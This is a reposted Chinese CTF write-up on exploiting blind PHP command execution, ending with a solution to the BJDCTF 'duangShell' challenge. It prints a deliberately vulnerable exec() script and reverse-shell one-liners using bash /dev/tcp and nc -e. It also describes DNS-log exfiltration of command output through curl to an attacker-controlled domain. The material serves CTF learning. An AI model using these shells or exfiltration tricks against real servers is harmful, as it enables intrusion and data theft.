轉載自:https://arsenetang.github.io/2021/07/23/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%9B%9E%E6%98%BErce/
在ctf中,有時會遇到無回顯rce,就是說雖然可以進行命令執行,但卻看不到命令執行的結果,也不知道命令是否被執行,借着這次總結rce的機會,就把它一起總結了
測試代碼如下:
<?php highlight_file(__FILE__); $a=$_GET['a']; exec("$a"); //$b=exec("$a"); //echo $b; ?>
命令執行函數我用的是exec
,因為這個函數本身是沒有回顯的,拿來做測試簡直不能再合適,想了解這個函數可以看這里:https://www.php.net/manual/zh/function.exec.php 這里我們直接輸入命令是沒有回顯的:
我們首先用sleep命令看看命令是否被成功執行了,看下圖它轉了五秒之后才恢復說明命令是執行了的:
1.反彈shell
遇到這種無回顯的命令執行,很常見的一個思路是反彈shell,因為它雖然不會將命令執行的結果輸出在屏幕上,但實際上這個命令它是執行了的,那我們就將shell反彈到自己服務器上,然后再執行命令肯定就可以看到回顯了
一般來講我們反彈shell都用的bash -i >& /dev/tcp/ip/port 0>&1
這條命令,但這里我不知道哪里出了問題,在docker中可以成功反彈但放到php命令執行中就反彈不了了,所以說無奈之下我就只能使用nc
進行反彈,但其實這是很不實用的,因為很多docker中都沒有安裝nc
,這里就先演示一下用nc
反彈,利用nc -e /bin/sh ip port
進行反彈:
2.dnslog外帶數據法
首先講講dns,這里用一個比較官方的解釋吧,摘自百度百科:
DNS(域名解析):
域名解析是把域名指向網站空間IP,讓人們通過注冊的域名可以方便地訪問到網站的一種服務。IP地址是網絡上標識站點的數字地址,為了方便記憶,采用域名來代替IP地址標識站點地址。域名解析就是域名到IP地址的轉換過程。域名的解析工作由DNS服務器完成。
域名解析也叫域名指向、服務器設置、域名配置以及反向IP登記等等。說得簡單點就是將好記的域名解析成IP,服務由DNS服務器完成,是把域名解析到一個IP地址,然后在此IP地址的主機上將一個子目錄與域名綁定。
而如果我們發起請求的目標不是IP地址而是域名的話,就一定會發生一次域名解析,那么假如我們有一個可控的二級域名,那么當它向下一層域名發起解析的時候,我們就能拿到它的域名解析請求。這就相當於配合dns請求完成對命令執行的判斷,這就稱之為dnslog。當然,發起一個dns請求需要通過linux中的ping
命令或者curl
命令哈
然后這里推薦一個dnslog的利用平台:ceye http://ceye.io/,我個人覺得挺好用的,當然大佬們也可以選擇自己搭,注冊賬號之后,會給一個域名,當發起的請求中含有這個域名時,平台就會有記錄。好了,鋪墊結束,下面正式開始測試:
還是這一段代碼,我們用分號;
作為命令的分隔符,然后發起curl
請求,然后最后用反引號執行命令,具體如下:
然后就可以到ceye平台上取看到我們發起的請求了,可以看到whoami
的結果也已經在上面顯示了出來:
然后我們就嘗試執行其它的命令比如像ls
之類的,但這里需要注意的一點是,如果我們直接執行ls
的話,它只會返回第一條結果,具體如下圖所示:
那么為了讓它顯示出剩余的結果,我們就需要用到linux的sed
命令,用sed
命令就可以實現對行的完美划分,這里利用題目不是很好演示,我就直接用kali進行演示,就像下圖一樣直接用就行,還是很方便的:
這樣就可以完成任意的命令執行了,但是值得注意的是,因為有的字符可能會無法顯示或者只顯示部分信息,所以說執行命令的時候推薦使用base64編碼,然后再解開就好:
例題解析——-BJDCTF 2nd duangShell
這道題buuctf上可以復現,先用kali恢復swp文件,然后得到源碼:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>give me a girl</title> </head> <body> <center><h1>珍愛網</h1></center> </body> </html> <?php error_reporting(0); echo "how can i give you source code? .swp?!"."<br>"; if (!isset($_POST['girl_friend'])) { die("where is P3rh4ps's girl friend ???"); } else { $girl = $_POST['girl_friend']; if (preg_match('/\>|\\\/', $girl)) { die('just girl'); } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) { echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->"; } else { //duangShell~~~~ exec($girl); } }
可以看到,這就是一個有過濾情況下的無回顯rce,雖然是看起來過濾的比較多,基本思路是反彈shell,但這個靶機在內網操作起來可能有點麻煩,而且像一些重要的比如curl
反引號
都沒有被過濾掉,所以說我想嘗試直接把數據外帶出來,先嘗試whoami
發現沒問題:
那就說明除了上面那些被禁的函數以外,可以執行任何命令,不過禁了ls是真的煩,然后由於它禁了$
,上篇文章中講到的找flag的語句cat $(find / -name flag*)
就用不了了,我先盲猜一下它在根目錄下名字叫flag,試試行不行,cat
被過濾掉了我就直接用tac
,這個問題不大,發現還真有這個文件:
只不過嘛,這個內容就很狗,還要讓自己去找flag,那我就試試用find
去找,說實話這時候我心里也沒底,只能說試試,用的這條語句 find / -name flag
:
不過運氣是真的好哈哈哈,直接出來了路徑,那就穩了啊,直接讀它就完事兒了:
出來了出來了,加上{}
就是最終的flag,不過我看wp的時候方法都是用反彈shell做的,不知道我這種算不算非預期解,想了解那種方法的可以自行百度,這里也推薦兩篇文章: